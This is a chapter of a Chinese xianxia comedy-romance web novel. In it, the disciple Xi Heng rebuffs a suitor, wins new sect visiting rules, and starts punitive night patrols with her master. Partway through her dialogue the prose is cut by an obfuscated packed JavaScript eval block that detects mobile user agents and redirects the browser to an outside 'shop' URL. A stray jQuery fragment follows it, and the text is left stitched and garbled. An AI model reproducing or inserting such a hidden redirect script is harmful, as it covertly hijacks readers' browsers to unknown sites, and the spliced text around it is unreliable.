然而他身后的众弟子只犹疑了一瞬,便一拥而上,蹲在地上开始摸索灵石。来财急得嗷嗷叫:“你们别捡!这是我的嫁妆!”
徐铁心看着那满地流光,倒也没真出手阻拦。大约是觉得与其便宜了旁人,倒不如肥水不流外人田。
被围在中间的蔚正阳看着这群平日里清高孤傲、此刻却满地疯狂摸索的无情道弟子,气得脸色发绿,跳脚大喊:“那是我的灵石!”
“现在是我们的了。”
一只毛茸茸的脑袋从灵石堆里扒拉出来,终于注意到了蔚正阳。它歪着脖子打量了他几秒,发出一声嫌弃的“嘁”,随后一扭屁股,埋头继续抢夺,连个正眼都没再给他。
蔚正阳的脸色从绿转红,又从红转白,在极度的尴尬中,他盯着来财诡异地笑了。
只见他慢条斯理地整了整衣冠,捋了捋有些凌乱的发丝,用一种自以为深情且“我懂你”的语气幽幽开口:“来财还在你身边,说明你心里果然还有我。”
“啊?”席姮怀疑自己耳朵出了毛病。
蔚正阳越说越觉得自己抓住了真相,眼睛都亮了起来:“你要是真对我没意思,早就把它还我了。你留着它,不就是因为……”
“因为你说送我了。”席姮打断他。
“送是送了,但你留着,就说明……”
“说明它自己不愿意跟你回去。”席姮低头看了一眼来财,“来财,你愿意跟他回去吗?”
来财从灵石堆里抬起头,果断摇了摇头,蔚正阳的笑容僵在脸上。
一摊手,席姮满脸无辜:“你看,强扭的瓜不甜。”
话音未落,空中一道仙威裹挟着传音滚滚而降:“席姮,你当无情道是什么地方?”
她脖颈一缩,方才的嚣张气焰瞬间灭了,弱弱地辩解:“掌门前辈,我这是让人打扫一下……”
“你喊了一嗓子‘先到先得’,叫打扫?三天期限,你折腾出什么结果了?人来了一拨又一拨,一个没少,还多了个举牌子的!”
席姮当即低头,不敢再吭声。被点到的蔚正阳身子一僵,下意识把手中牌匾往身后藏了藏。
“既然你做不到那就别待了,收拾东西回你的合欢宗去。”
席姮急中生智,想起了合欢宗内那条“无正当理由不得来访”的门规。虽说平日里繁琐了些,连她想见谁都得走流程,可确实挡掉了九成烦人的追求者。
思及此,她跪了下去,语气诚恳:“掌门前辈,弟子确实没清完。但这并非弟子偷懒不尽力,实在是咱们无情道现在的拜帖制度有漏洞!谁都能来,来了干什么也没人管。”
“就比如裘逸叶,以借寒潭支流的名义递了拜帖,可进了山门,却跑到后山树林那边围追堵截唐倦师姐,这……”
话未说完,威严的声浪便断了她的话头:“唐倦今日出任务去了,你拿一个不在场的人当证人?”
“这件事弟子绝无半句虚言,掌门前辈可以等唐倦师姐回来亲自核查。弟子只是想说,今日是我和师尊被围观,长此以往,以后被堵在门口的可能就是其他无辜同门,这哪里清得完?”
“所以弟子斗胆,恳请掌门增设一条新规:凡理由造假、钻宗门空子者,一经查实,直接列入无情道黑名单,终身不得再入。”
“那山门外的人呢?”
“弟子还有个补充条款,凡在山门外聚众闹事者,无情道有权将其列入‘不受欢迎名单’,下次连拜帖都不让填。”
蔚正阳在旁边听了一耳朵,脸色微变:“姮姮,你这是针对我?”
席姮连个眼尾都没扫他,半空中陷入了长久的沉默。
不知过了多久,掌门苍老沉稳的声音才再度落下:“你说的事本座会查,这两个增补条款可以先依你试行,本座原本也有此意,只是尚未拟定细则。丑话说在前头,试行期间若是出了乱子,唯你是问。”
席姮心中大喜,正要磕头谢恩,掌门却话锋一转,冷声道:“死罪可免,活罪难逃。先把山门外的灵石捡干净,一颗不许剩。捡完了再领罚,半个月内每晚巡山。詹暄文,她是你收的徒弟,你管教不严,前三天跟着一起受罚。”
詹暄文行了一礼:“是。”
威压消散了,席姮瘫跪在地上,半天没捯饬过气来。
詹暄文低头看着她:“走了。”
“师尊,我的腿麻了。”席姮苦着一张脸,可怜巴巴地伸出一只手。
詹暄文沉默了一瞬,终是伸手将她自地上拽了起来。
目睹了全过程的蔚正阳一口气噎在胸口,盯着席姮,咬牙切齿地放出狠话:“席姮,你迟早会后悔的!”
若无其事地拍了拍裙摆上的灰尘,席姮头也没抬:“话本子里的反派撤退时都这么说。”
“你!”蔚正阳气得险些一口气没上来。他转身刚走了几步,又像是泄愤一般,猛地将手里藏着的牌匾狠狠往地上一摔,这才头也不回地消失在山道尽头。
席姮看着那块牌匾在地上弹了两下,上面“姮姮我错了”几个金粉大字在日光下闪了闪。
她蹲下身,顺手捞起了牌匾。
詹暄文见状,眉头微蹙:“你捡它做什么?”
“师尊你有所不知,”席姮拿袖子擦了擦上面的灰,眼睛放光,“这上面的金粉可是真金,刮下来回头能卖不少灵石呢。”
詹暄文:“……”
天黑前来财早已叼走最后一颗灵石,不知隐匿于哪处。席姮寻索无果,索性由它去了。
当晚,她被迫营业开始了苦逼的巡山生涯。
席姮本来想要那把会鸣的剑,但詹暄文说“那把不借”,席姮只好退而求其次,领了练功用的备用剑。
剑锋在月色下泛着冷光,引得席姮若有所思。
白天练剑时被盯得紧,她没心思想事情。此刻夜深人静,师尊走在前头,一个大胆的计划在她心中成形:她要跟这把剑培养感情,把它的灵性“唤醒”。等备用剑认她了,她再去找师尊要那把会鸣的剑。到时候两把剑都跟她好,看师尊怎么办。
计划通,席姮就开始了她的剑语者计划。
“剑啊剑,你跟着你主人多久了?他是不是从来不跟你说话?可怜的孩子,以后我会经
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17639690|206673||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
常跟你聊天的。”
山风送来前方詹暄文微凉的语声:“它不会回答你。”
“我知道,但它在听。”
衣袖拂过,席姮干脆将长剑圈入怀中套近乎:“你放心,我没有要取代你主人的意思,我就是想跟你交个朋友。你平时喜欢什么?喜欢被擦吗?我回头给你擦擦。”
怀中长剑冰冷沉寂,唯有叹息散在风里:“好吧,你比较慢热,我懂。”
月色渐浓,走在前方的詹暄文淡然开口,表示巡山亦是修行,不能耽误了白日的功课,硬是逼着她一边探路一边练习基础剑式。
剑锋在夜空中勉强比划了半个时辰,哀怨的哀嚎便兜不住了:“师尊,我手酸了……”
“换手。”
“我两只手都酸了!它们现在有自己的想法,不听使唤了!”
“那就休息一会儿。”
心头刚浮起一丝喜色,席姮膝盖微屈正欲蹲下,命令再度压来:“休息的时候,把马步扎下,练站桩。”
“您这是修无情道还是修罗道?”
詹暄文恍若未闻。双腿迫于无奈沉下马步,席姮苦兮兮抱着长剑碎碎念:“剑兄你看到了吗?你主人平时就是这么虐待我的。不过没关系,我习惯了,以前在合欢宗也是这样。”
“合欢宗也练马步?”
席姮嘴角一抽:“那倒没有。”
“那你习惯了什么?”
席姮被问住了,沉默了片刻:“师尊,您能不能别在我卖惨的时候拆台?”
“卖惨标价多少?”
“啊?”
“卖我那么多灵石,卖惨呢?”
席姮被他这套逻辑砸懵了:“不卖了。”
“为什么?”
“因为您把价格打下来了。”
詹暄文沉默了一瞬,休息之后直接将剑术训练升了级。
寒芒破开草木暗影,冷风中传来提点:“夜里视线不好,大动作容易误伤,这套剑式的核心是‘听’和‘感’。”
席姮叫苦不迭,还是依言认真比划了几遍,没一会儿心思便又活络起来,开始走神:“师尊,您说这套剑式能不能跟剑兄配合?让剑兄自动帮我感应敌人的位置,然后我顺其自然一剑封喉……”
“不能。”
“为什么不能?”
“灵力共振需要本命契约,这把剑没有。”说这话时,他视线在剑身上停留了一瞬,继续朝前走去。
指尖动作一滞,席姮低头看着手里的备用剑,心里忽然莫名升起一丝异样的情绪:
没有契约,那它岂不是一辈子都只能活在本命剑的阴影下,当一个随手可替代的备胎?
等等,师尊说怕卷刃所以有两把,所以本命剑也会卷刃吗?她抬头看了一眼詹暄文的背影,把疑问咽了回去。
算了,师尊说什么就是什么吧。
细碎的脚步声急急追了上去,剑被硬生生举至眼前,对上一双认真的眸子:“没关系哦剑兄,就算你不会什么灵力共振,我也绝对不会嫌弃你的。从今天开始,你在我心里就是唯一的本命剑了!”